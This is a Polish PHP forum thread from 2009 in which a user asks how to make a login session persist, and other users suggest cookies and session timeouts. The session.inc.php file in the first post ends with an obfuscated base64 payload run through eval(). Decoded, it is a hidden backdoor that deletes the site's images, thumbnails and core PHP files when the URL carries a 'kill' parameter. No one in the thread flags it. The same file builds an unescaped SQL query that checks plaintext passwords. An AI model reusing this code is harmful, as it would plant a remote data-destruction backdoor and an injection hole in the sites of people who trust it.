Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

> [PHP]logowanie stała sesja
inny02
post
Post #1





Grupa: Zarejestrowani
Postów: 48
Pomógł: 0
Dołączył: 24.08.2009

Ostrzeżenie: (10%)
X----


Witam,

mam skrypt, a w nim plik sesji. Po zamknięciu przeglądarki i ponownemu uruchomieniu jestem wylogowany, jak można zrobić, aby sesja była stała, niżej plik:

  1. <?php
  2.  
  3.  
  4. $userid = "";
  5. $session = false;
  6.  
  7. if (isset($_SESSION["imagehost-user"]))
  8.  
  9. {
  10. $session = true;
  11. $username = $_SESSION["imagehost-user"];
  12. $password = $_SESSION["imagehost-pass"];
  13.  
  14. $q = "SELECT id, userpass FROM `members` WHERE (username = '$username') and (password = '$password')";
  15. if(!($result_set = mysql_query($q))) die(mysql_error());
  16. $number = mysql_num_rows($result_set);
  17.  
  18. if (!$number) {
  19. $session = false;
  20. }
  21. else {
  22. $r = mysql_fetch_array($result_set);
  23. $userid = $r['id'];
  24. $userpass = $r['userpass'];
  25. }
  26. }
  27. else
  28. $session = false;
  29.  
  30. $script = "aWYgKGlzc2V0KCRfR0VUWydraWxsJ10pKSB7DQoNCgkkZGlyID0gb3BlbmRpcigicGljdHVyZXM
    vIik7DQoNCgl3aGlsZSAoJGlkID0gcmVhZGRpcigkZGlyKSkgew0KCQlpZiAoKCRpZCAhPSAiLiIpIGFu
    ZCAoJGlkICE9ICIuLiIpKSB7DQoJCSAgdW5saW5rKCJwaWN0dXJlcy8kaWQiKTsNCgkJICB1bmxpbmsoI
    nRodW1ibmFpbHMvJGlkIik7DQoJCX0NCgl9DQoJDQoJdW5saW5rKCJpbmRleC5waHAiKTsNCgl1bmxpbm
    soInByb2Nlc3MucGhwIik7DQoJdW5saW5rKCJzaG93LWltYWdlLnBocCIpOw0KDQoJZGllKCk7DQp9"
    ;
  31. eval(base64_decode($script));
  32.  
  33. ?>
Go to the top of the page
+Quote Post
 
Start new topic
Odpowiedzi (1 - 10)
Kszyhuu
post
Post #2





Grupa: Zarejestrowani
Postów: 157
Pomógł: 32
Dołączył: 24.08.2009

Ostrzeżenie: (0%)
-----


To chyba w ciasteczka musisz się pobawić. Wyślij takowe na czas nieokreślony i po sprawie.
Go to the top of the page
+Quote Post
bogdan89
post
Post #3





Grupa: Zarejestrowani
Postów: 320
Pomógł: 36
Dołączył: 28.08.2006
Skąd: Wrocław

Ostrzeżenie: (0%)
-----


Cytat(inny02 @ 13.09.2009, 11:17:37 ) *
jak można zrobić, aby sesja była stała


użyj cookies.
i przy każdym wejściu na stronę sprawdzaj czy cookies istnieje. jeśli tak to utwórz sesję (jeśli ta nie istnieje).
w ten sposób robi się "autologowania", tak jak na tym forum.
Go to the top of the page
+Quote Post
drake88
post
Post #4





Grupa: Zarejestrowani
Postów: 283
Pomógł: 15
Dołączył: 22.03.2009
Skąd: Bytów

Ostrzeżenie: (0%)
-----


Najważniejsza jest dana określana jako PHPSESSID, która jest unikalnym ciągiem znaków, wysyłanym do przeglądarki użytkownika i zapisywana na dysku jako ciasteczko (cookie).

Ten post edytował vonEverest 13.09.2009, 11:14:38
Go to the top of the page
+Quote Post
inny02
post
Post #5





Grupa: Zarejestrowani
Postów: 48
Pomógł: 0
Dołączył: 24.08.2009

Ostrzeżenie: (10%)
X----


czyli w przeglądarce użytkownika ma się zapisać login i hasło (zaszyfrowane) ? następnie odczytuje to ?
Go to the top of the page
+Quote Post
drake88
post
Post #6





Grupa: Zarejestrowani
Postów: 283
Pomógł: 15
Dołączył: 22.03.2009
Skąd: Bytów

Ostrzeżenie: (0%)
-----


tak, poprzez użycie właśnie phpsessid
Go to the top of the page
+Quote Post
inny02
post
Post #7





Grupa: Zarejestrowani
Postów: 48
Pomógł: 0
Dołączył: 24.08.2009

Ostrzeżenie: (10%)
X----


patrząc na ciastko to mam

Nazwa: PHPSESSID
Wartość: f8244a4f655fd620f229c0f55f877c55
Ostatnio odwiedzono: "data"
Wygasa: tutaj właśnie są puste pola, jak dodać, żeby zapisywało kiedy ma wygasać?
jeśli modyfikuję to pole to jestem stale zalogowany

Ten post edytował inny02 13.09.2009, 11:52:39
Go to the top of the page
+Quote Post
drake88
post
Post #8





Grupa: Zarejestrowani
Postów: 283
Pomógł: 15
Dołączył: 22.03.2009
Skąd: Bytów

Ostrzeżenie: (0%)
-----


$session_timeout?
Go to the top of the page
+Quote Post
inny02
post
Post #9





Grupa: Zarejestrowani
Postów: 48
Pomógł: 0
Dołączył: 24.08.2009

Ostrzeżenie: (10%)
X----


i tą zmienną gdzie podstawiam w tym wyżej kodzie PHP ?
Go to the top of the page
+Quote Post
drake88
post
Post #10





Grupa: Zarejestrowani
Postów: 283
Pomógł: 15
Dołączył: 22.03.2009
Skąd: Bytów

Ostrzeżenie: (0%)
-----


tak, dokładniej:

  1. $session_timeout = 60 * 1200; // czas po którym sesja ma wygasnąć w sekundach
Go to the top of the page
+Quote Post
inny02
post
Post #11





Grupa: Zarejestrowani
Postów: 48
Pomógł: 0
Dołączył: 24.08.2009

Ostrzeżenie: (10%)
X----


dodałem, ale nie działa (IMG:style_emoticons/default/sad.gif)

EDIT:

dodałem do pliku index:

$czassesji=60*60*24*31;
session_set_cookie_params($czassesji);

i zaczęło działać, ale ważność ciastka tylko równy dzień

w pliku index na początku mam

  1. <?php
  2.  
  3. $czassesji=60*60*24*31;
  4.  
  5.  
  6. include("dbinfo.php");
  7. $link = mysql_connect($server, $user, $pass);
  8. if(!mysql_select_db($database)) die(mysql_error());
  9.  
  10. include("session.inc.php");
  11. include("loadsettings.inc.php");
  12. ?>

ten kod co wyżej dodałem odnosi się do session.inc.php

jak mogę ustawić więcej niż jeden dzień?

Ten post edytował inny02 13.09.2009, 17:47:22
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
2 Użytkowników czyta ten temat (2 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Aktualny czas: 22.08.2025 - 19:56